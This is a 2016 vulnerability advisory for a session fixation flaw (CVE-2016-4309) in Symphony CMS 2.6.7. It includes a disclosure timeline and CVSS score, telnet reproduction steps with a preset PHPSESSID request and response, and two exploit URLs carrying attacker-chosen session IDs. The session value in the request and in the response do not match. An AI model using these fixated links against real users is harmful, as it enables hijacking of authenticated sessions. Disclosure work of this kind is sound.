Symphony CMS 2.6.7 - Session Fixation

[+] Credits: John Page aka hyp3rlinx



[+] Website: hyp3rlinx.altervista.org



[+] Source:

http://hyp3rlinx.altervista.org/advisories/SYMPHONY-CMS-SESSION-FIXATION.txt



[+] ISR: APPARITIONSEC





Vendor:

====================

www.getsymphony.com





Product:

==================

Symphony CMS v2.6.7



Download:

http://www.getsymphony.com/download/





Symphony is a XSLT-powered open source content management system.





Vulnerability Type:

===================

Session Fixation





CVE Reference:

==============

CVE-2016-4309





Vulnerability Details:

=====================



Symphony CMS is prone to "Session Fixation" allowing attackers to preset a

users PHPSESSID "Session Identifier".

If the application is deployed using an insecure setup with PHP.INI

"session.use_only_cookies" not enabled, attackers can then send

victims a link to the vulnerable application with the "PHPSESSID" already

initialized as Symphony does not use or call

"session_regenerate_id()" upon successful user authentication.



Note: as per php.net/manual/en/session.configuration.php

"session.use_only_cookies=1" is default since PHP 4.3.0.



e.g.



"http://localhost/symphony/?PHPSESSID=APPARITION666".



As Symphonys Session ID is not regenerated it can result in arbitrary

Session ID being 'Fixated' to a user, if that user authenticates using

this attacker supplied session fixated link, the attacker can now access

the affected application from a different Computer/Browser

and have the same level of access to that of the victim. Default Cookie

lifetime for Symphony CMS is up to two weeks.







Reproduction steps:

=====================



Edit PHP.INI and change following settings to 'session.use_only_cookies=0'

if applicable, as POC test.





1) Telnet localhost 80



2) make HTTP request with a prefixed PHPSESSID



GET /symphony-2.6.7/symphony/?PHPSESSID=PWN3D666 HTTP/1.1

Host: localhost

Connection: close



3) Hit enter twice





HTTP/1.1 200 OK

Date: Mon, 16 May 2016 02:06:47 GMT

Server: Apache/2.4.12 (Win32) OpenSSL/1.0.1l PHP/5.6.8

X-Powered-By: PHP/5.6.8

Set-Cookie: PHPSESSID=PWNED666; expires=Mon, 30-May-2016 02:06:48 GMT;

Max-Age=1209600; path=/symphony-2.6.7; httponly

Content-Length: 1501

Connection: close

Content-Type: text/html; charset=UTF-8





Exploit code(s):

===============



1)

http://localhost/symphony-2.6.7/symphony/publish/articles/?PHPSESSID=hyp3rlinx



2) http://localhost/symphony-2.6.7/symphony/?PHPSESSID=APPARITION





Disclosure Timeline:

=====================================

Vendor Notification: May 3, 2016

Vendor Release Fix: May 23, 2016

June 20, 2016 : Public Disclosure.





Exploitation Method:

====================

Remote





Severity Level:

================

6.8 (Medium)

CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N







Description:

==============================================

Request Method(s):       [+] GET / POST





Vulnerable Product:      [+] Symphony CMS 2.6.7





Vulnerable Parameter(s): [+] 'PHPSESSID'

===============================================



[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no

warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory,

provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in

vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the

information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author

prohibits any malicious use of security related information

or exploits by the author or elsewhere.



hyp3rlinx